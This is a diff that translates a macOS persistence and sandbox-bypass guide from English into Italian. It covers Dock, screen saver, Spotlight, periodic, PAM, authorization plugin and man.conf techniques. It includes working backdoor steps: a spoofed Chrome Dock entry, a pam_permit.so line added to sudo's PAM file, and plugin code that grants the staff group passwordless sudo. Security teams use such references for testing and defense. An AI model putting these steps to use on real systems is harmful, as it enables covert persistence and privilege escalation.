-Now that we have an empty environment +Ora che abbiamo un ambiente vuoto -3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. Copia il file di backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. Apri Folder Actions Setup.app per utilizzare questa configurazione: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> And this didn't work for me, but those are the instructions from the writeup:( +> E questo non ha funzionato per me, ma queste sono le istruzioni del writeup:( ### Dock shortcuts Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to have installed a malicious application inside the system -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma devi avere installato un'applicazione malevola all'interno del sistema +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Location - `~/Library/Preferences/com.apple.dock.plist` - - **Trigger**: When the user clicks on the app inside the dock +- **Trigger**: Quando l'utente clicca sull'app all'interno del dock #### Description & Exploitation -All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** - -It's possible to **add an application** just with: +Tutte le applicazioni che appaiono nel Dock sono specificate all'interno del plist: **`~/Library/Preferences/com.apple.dock.plist`** +È possibile **aggiungere un'applicazione** semplicemente con: ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -910,9 +836,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -965,92 +889,86 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` - ### Color Pickers Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - A very specific action needs to happen - - You will end in another sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Deve avvenire un'azione molto specifica +- Finirai in un altro sandbox +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Location - `/Library/ColorPickers` - - Root required - - Trigger: Use the color picker +- Richiesta root +- Trigger: Usa il selettore di colori - `~/Library/ColorPickers` - - Trigger: Use the color picker +- Trigger: Usa il selettore di colori #### Description & Exploit -**Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. +**Compila un selettore di colori** bundle con il tuo codice (puoi usare [**questo ad esempio**](https://github.com/viktorstrate/color-picker-plus)) e aggiungi un costruttore (come nella [sezione Screen Saver](macos-auto-start-locations.md#screen-saver)) e copia il bundle in `~/Library/ColorPickers`. -Then, when the color picker is triggered your should should be aswell. - -Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +Poi, quando il selettore di colori viene attivato, il tuo codice dovrebbe essere eseguito. +Nota che il binario che carica la tua libreria ha un **sandbox molto restrittivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl - [Value] - [Array] - [String] (deny file-write* (home-subpath "/Library/Colors")) - [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) - [String] (allow file-read* (extension "com.apple.app-sandbox.read")) +[Value] +[Array] +[String] (deny file-write* (home-subpath "/Library/Colors")) +[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) +[String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` - ### Finder Sync Plugins **Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ **Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Useful to bypass sandbox: **No, because you need to execute your own app** -- TCC bypass: ??? +- Utile per bypassare il sandbox: **No, perché è necessario eseguire la propria app** +- Bypass TCC: ??? #### Location -- A specific app +- Un'app specifica #### Description & Exploit -An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). - -Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: +Un esempio di applicazione con un'estensione Finder Sync [**può essere trovato qui**](https://github.com/D00MFist/InSync). +Le applicazioni possono avere `Finder Sync Extensions`. Questa estensione andrà all'interno di un'applicazione che verrà eseguita. Inoltre, affinché l'estensione possa eseguire il proprio codice, **deve essere firmata** con un valido certificato di sviluppatore Apple, deve essere **sandboxed** (anche se potrebbero essere aggiunte eccezioni rilassate) e deve essere registrata con qualcosa come: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` - -### Screen Saver +### Salvaschermo Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in a common application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma finirai in un sandbox di applicazione comune +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione - `/System/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- Richiesta di root +- **Attivazione**: Seleziona il salvaschermo - `/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- Richiesta di root +- **Attivazione**: Seleziona il salvaschermo - `~/Library/Screen Savers` - - **Trigger**: Select the screen saver +- **Attivazione**: Seleziona il salvaschermo
-#### Description & Exploit +#### Descrizione & Sfruttamento -Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. - -**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: +Crea un nuovo progetto in Xcode e seleziona il modello per generare un nuovo **Screen Saver**. Poi, aggiungi il tuo codice, ad esempio il seguente codice per generare log. +**Compilalo**, e copia il pacchetto `.saver` in **`~/Library/Screen Savers`**. Poi, apri l'interfaccia grafica del salvaschermo e se ci clicchi sopra, dovrebbe generare molti log: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1059,12 +977,10 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` - > [!CAUTION] -> Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. +> Nota che, poiché all'interno dei diritti del binario che carica questo codice (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) puoi trovare **`com.apple.security.app-sandbox`**, sarai **all'interno del comune sandbox delle applicazioni**. Saver code: - ```objectivec // // ScreenSaverExampleView.m @@ -1079,196 +995,190 @@ Saver code: - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - self = [super initWithFrame:frame isPreview:isPreview]; - if (self) { - [self setAnimationTimeInterval:1/30.0]; - } - return self; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +self = [super initWithFrame:frame isPreview:isPreview]; +if (self) { +[self setAnimationTimeInterval:1/30.0]; +} +return self; } - (void)startAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super startAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super startAnimation]; } - (void)stopAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super stopAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super stopAnimation]; } - (void)drawRect:(NSRect)rect { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super drawRect:rect]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super drawRect:rect]; } - (void)animateOneFrame { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return; } - (BOOL)hasConfigureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return NO; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return NO; } - (NSWindow*)configureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return nil; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` - ### Spotlight Plugins writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in an application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - The sandbox looks very limited +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma finirai in un'app sandbox +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) +- Il sandbox sembra molto limitato #### Location - `~/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. +- **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight. - `/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight. +- Root richiesto - `/System/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight. +- Root richiesto - `Some.app/Contents/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - New app required +- **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight. +- Nuova app richiesta #### Description & Exploitation -Spotlight is macOS's built-in search feature, designed to provide users with **quick and comprehensive access to data on their computers**.\ -To facilitate this rapid search capability, Spotlight maintains a **proprietary database** and creates an index by **parsing most files**, enabling swift searches through both file names and their content. +Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti **accesso rapido e completo ai dati sui loro computer**.\ +Per facilitare questa capacità di ricerca rapida, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file**, consentendo ricerche veloci sia attraverso i nomi dei file che il loro contenuto. -The underlying mechanism of Spotlight involves a central process named 'mds', which stands for **'metadata server'.** This process orchestrates the entire Spotlight service. Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per **'metadata server'.** Questo processo orchestra l'intero servizio Spotlight. A complemento di questo, ci sono più demoni 'mdworker' che eseguono una varietà di compiti di manutenzione, come indicizzare diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin importatori di Spotlight, o **".mdimporter bundles**", che consentono a Spotlight di comprendere e indicizzare contenuti attraverso una vasta gamma di formati di file. -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +I plugin o **`.mdimporter`** bundles si trovano nei luoghi menzionati in precedenza e se appare un nuovo bundle viene caricato in un minuto (non è necessario riavviare alcun servizio). Questi bundle devono indicare quali **tipi di file e estensioni possono gestire**, in questo modo, Spotlight li utilizzerà quando viene creato un nuovo file con l'estensione indicata. +È possibile **trovare tutti gli `mdimporters`** caricati eseguendo: ```bash mdimport -L Paths: id(501) ( - "/System/Library/Spotlight/iWork.mdimporter", - "/System/Library/Spotlight/iPhoto.mdimporter", - "/System/Library/Spotlight/PDF.mdimporter", - [...] +"/System/Library/Spotlight/iWork.mdimporter", +"/System/Library/Spotlight/iPhoto.mdimporter", +"/System/Library/Spotlight/PDF.mdimporter", +[...] ``` - -And for example **/Library/Spotlight/iBooksAuthor.mdimporter** is used to parse these type of files (extensions `.iba` and `.book` among others): - +E per esempio **/Library/Spotlight/iBooksAuthor.mdimporter** è utilizzato per analizzare questi tipi di file (estensioni `.iba` e `.book` tra gli altri): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ - 0 => { - "CFBundleTypeName" => "iBooks Author Book" - "CFBundleTypeRole" => "MDImporter" - "LSItemContentTypes" => [ - 0 => "com.apple.ibooksauthor.book" - 1 => "com.apple.ibooksauthor.pkgbook" - 2 => "com.apple.ibooksauthor.template" - 3 => "com.apple.ibooksauthor.pkgtemplate" - ] - "LSTypeIsPackage" => 0 - } - ] +0 => { +"CFBundleTypeName" => "iBooks Author Book" +"CFBundleTypeRole" => "MDImporter" +"LSItemContentTypes" => [ +0 => "com.apple.ibooksauthor.book" +1 => "com.apple.ibooksauthor.pkgbook" +2 => "com.apple.ibooksauthor.template" +3 => "com.apple.ibooksauthor.pkgtemplate" +] +"LSTypeIsPackage" => 0 +} +] [...] - => { - "UTTypeConformsTo" => [ - 0 => "public.data" - 1 => "public.composite-content" - ] - "UTTypeDescription" => "iBooks Author Book" - "UTTypeIdentifier" => "com.apple.ibooksauthor.book" - "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" - "UTTypeTagSpecification" => { - "public.filename-extension" => [ - 0 => "iba" - 1 => "book" - ] - } - } +=> { +"UTTypeConformsTo" => [ +0 => "public.data" +1 => "public.composite-content" +] +"UTTypeDescription" => "iBooks Author Book" +"UTTypeIdentifier" => "com.apple.ibooksauthor.book" +"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" +"UTTypeTagSpecification" => { +"public.filename-extension" => [ +0 => "iba" +1 => "book" +] +} +} [...] ``` - > [!CAUTION] -> If you check the Plist of other `mdimporter` you might not find the entry **`UTTypeConformsTo`**. Thats because that is a built-in _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) and it doesn't need to specify extensions. +> Se controlli il Plist di altri `mdimporter`, potresti non trovare l'entry **`UTTypeConformsTo`**. Questo perché si tratta di un _Identificatori di Tipo Uniformi_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) integrato e non è necessario specificare le estensioni. > -> Moreover, System default plugins always take precedence, so an attacker can only access files that are not otherwise indexed by Apple's own `mdimporters`. +> Inoltre, i plugin di sistema predefiniti hanno sempre la precedenza, quindi un attaccante può accedere solo ai file che non sono altrimenti indicizzati dai `mdimporters` di Apple. -To create your own importer you could start with this project: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) and then change the name, the **`CFBundleDocumentTypes`** and add **`UTImportedTypeDeclarations`** so it supports the extension you would like to support and refelc them in **`schema.xml`**.\ -Then **change** the code of the function **`GetMetadataForFile`** to execute your payload when a file with the processed extension is created. +Per creare il tuo importatore, puoi iniziare con questo progetto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e poi cambiare il nome, il **`CFBundleDocumentTypes`** e aggiungere **`UTImportedTypeDeclarations`** in modo che supporti l'estensione che desideri supportare e rifletterli in **`schema.xml`**.\ +Poi **cambia** il codice della funzione **`GetMetadataForFile`** per eseguire il tuo payload quando viene creato un file con l'estensione elaborata. -Finally **build and copy your new `.mdimporter`** to one of thre previous locations and you can chech whenever it's loaded **monitoring the logs** or checking **`mdimport -L.`** +Infine **compila e copia il tuo nuovo `.mdimporter`** in una delle tre posizioni precedenti e puoi controllare se viene caricato **monitorando i log** o controllando **`mdimport -L.`** -### ~~Preference Pane~~ +### ~~Pannello di Preferenze~~ > [!CAUTION] -> It doesn't look like this is working anymore. +> Non sembra che questo funzioni più. -Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) +Scrittura: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - It needs a specific user action -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Richiede un'azione specifica dell'utente +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione - **`/System/Library/PreferencePanes`** - **`/Library/PreferencePanes`** - **`~/Library/PreferencePanes`** -#### Description +#### Descrizione -It doesn't look like this is working anymore. +Non sembra che questo funzioni più. -## Root Sandbox Bypass +## Bypass del Sandbox di Root > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** +> Qui puoi trovare posizioni di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** essendo **root** e/o richiedendo altre **condizioni strane.** -### Periodic +### Periodico -Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) +Scrittura: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma devi essere root +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - - Root required - - **Trigger**: When the time comes -- `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` - - Root required - - **Trigger**: When the time comes +- Richiesta di root +- **Attivazione**: Quando arriva il momento +- `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local` +- Richiesta di root +- **Attivazione**: Quando arriva il momento -#### Description & Exploitation - -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. +#### Descrizione & Sfruttamento +Gli script periodici (**`/etc/periodic`**) vengono eseguiti a causa dei **lanciatori di demoni** configurati in `/System/Library/LaunchDaemons/com.apple.periodic*`. Nota che gli script memorizzati in `/etc/periodic/` vengono **eseguiti** come **proprietario del file**, quindi questo non funzionerà per un potenziale escalation di privilegi. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1299,52 +1209,44 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` - -There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: - +Ci sono altri script periodici che verranno eseguiti indicati in **`/etc/defaults/periodic.conf`**: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` - -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +Se riesci a scrivere uno dei file `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`, verrà **eseguito prima o poi**. > [!WARNING] -> Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +> Nota che lo script periodico verrà **eseguito come proprietario dello script**. Quindi, se un utente normale possiede lo script, verrà eseguito come quell'utente (questo potrebbe prevenire attacchi di escalation dei privilegi). ### PAM -Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) +Scrittura: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ +Scrittura: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare la sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma devi essere root +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione -- Root always required +- Root sempre richiesto -#### Description & Exploitation +#### Descrizione & Sfruttamento -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: +Poiché PAM è più focalizzato su **persistenza** e malware che su una facile esecuzione all'interno di macOS, questo blog non fornirà una spiegazione dettagliata, **leggi le scritture per comprendere meglio questa tecnica**. +Controlla i moduli PAM con: ```bash ls -l /etc/pam.d ``` - -A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line: - +Una tecnica di persistenza/escallation dei privilegi che sfrutta PAM è semplice come modificare il modulo /etc/pam.d/sudo aggiungendo all'inizio la riga: ```bash auth sufficient pam_permit.so ``` - -So it will **looks like** something like this: - +Quindi sembrerà qualcosa del genere: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1355,14 +1257,12 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` - -And therefore any attempt to use **`sudo` will work**. +E quindi qualsiasi tentativo di utilizzare **`sudo` funzionerà**. > [!CAUTION] -> Note that this directory is protected by TCC so it's highly probably that the user will get a prompt asking for access. - -Another nice example is su, were you can see that it's also possible to give parameters to the PAM modules (and you coukd also backdoor this file): +> Nota che questa directory è protetta da TCC, quindi è altamente probabile che l'utente riceva un prompt che chiede l'accesso. +Un altro bel esempio è su, dove puoi vedere che è anche possibile fornire parametri ai moduli PAM (e potresti anche backdoor questo file): ```bash cat /etc/pam.d/su # su: auth account session @@ -1373,26 +1273,24 @@ account required pam_opendirectory.so no_check_shell password required pam_opendirectory.so session required pam_launchd.so ``` - -### Authorization Plugins +### Plugin di Autorizzazione Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and make extra configs -- TCC bypass: ??? +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma è necessario essere root e fare configurazioni extra +- Bypass TCC: ??? -#### Location +#### Posizione - `/Library/Security/SecurityAgentPlugins/` - - Root required - - It's also needed to configure the authorization database to use the plugin +- Richiesta root +- È anche necessario configurare il database di autorizzazione per utilizzare il plugin -#### Description & Exploitation - -You can create an authorization plugin that will be executed when a user logs-in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). +#### Descrizione & Sfruttamento +Puoi creare un plugin di autorizzazione che verrà eseguito quando un utente accede per mantenere la persistenza. Per ulteriori informazioni su come crearne uno di questi plugin, controlla i writeup precedenti (e fai attenzione, uno scritto male può bloccarti e dovrai pulire il tuo mac dalla modalità di recupero). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1403,74 +1301,64 @@ You can create an authorization plugin that will be executed when a user logs-in __attribute__((constructor)) static void run() { - NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); - system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); +NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); +system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` - -**Move** the bundle to the location to be loaded: - +**Sposta** il pacchetto nella posizione da caricare: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` - -Finally add the **rule** to load this Plugin: - +Infine aggiungi la **regola** per caricare questo Plugin: ```bash cat > /tmp/rule.plist < - class - evaluate-mechanisms - mechanisms - - CustomAuth:login,privileged - - +class +evaluate-mechanisms +mechanisms + +CustomAuth:login,privileged + + EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` +Il **`evaluate-mechanisms`** dirà al framework di autorizzazione che avrà bisogno di **chiamare un meccanismo esterno per l'autorizzazione**. Inoltre, **`privileged`** farà sì che venga eseguito da root. -The **`evaluate-mechanisms`** will tell the authorization framework that it will need to **call an external mechanism for authorization**. Moreover, **`privileged`** will make it be executed by root. - -Trigger it with: - +Attivalo con: ```bash security authorize com.asdf.asdf ``` - -And then the **staff group should have sudo** access (read `/etc/sudoers` to confirm). +E poi il **gruppo staff dovrebbe avere accesso sudo** (leggi `/etc/sudoers` per confermare). ### Man.conf Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and the user must use man -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma devi essere root e l'utente deve usare man +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione - **`/private/etc/man.conf`** - - Root required - - **`/private/etc/man.conf`**: Whenever man is used +- Richiesta root +- **`/private/etc/man.conf`**: Ogni volta che viene usato man -#### Description & Exploit +#### Descrizione & Exploit -The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. - -For example set in **`/private/etc/man.conf`**: +Il file di configurazione **`/private/etc/man.conf`** indica il binario/script da utilizzare quando si aprono i file di documentazione man. Quindi il percorso dell'eseguibile potrebbe essere modificato in modo che ogni volta che l'utente usa man per leggere della documentazione, venga eseguita una backdoor. +Ad esempio impostato in **`/private/etc/man.conf`**: ``` MANPAGER /tmp/view ``` - -And then create `/tmp/view` as: - +E poi crea `/tmp/view` come: ```bash #!/bin/zsh @@ -1478,40 +1366,34 @@ touch /tmp/manconf /usr/bin/less -s ``` - ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and apache needs to be running -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - Httpd doesn't have entitlements +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma è necessario essere root e apache deve essere in esecuzione +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) +- Httpd non ha diritti #### Location - **`/etc/apache2/httpd.conf`** - - Root required - - Trigger: When Apache2 is started +- Richiesta root +- Attivazione: Quando Apache2 viene avviato #### Description & Exploit -You can indicate in `/etc/apache2/httpd.conf` to load a module adding a line such as: - +Puoi indicare in `/etc/apache2/httpd.conf` di caricare un modulo aggiungendo una riga come: ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` +In questo modo, i tuoi moduli compilati verranno caricati da Apache. L'unica cosa è che devi **firmarlo con un certificato Apple valido**, oppure devi **aggiungere un nuovo certificato di fiducia** nel sistema e **firmarlo** con esso. -This way your 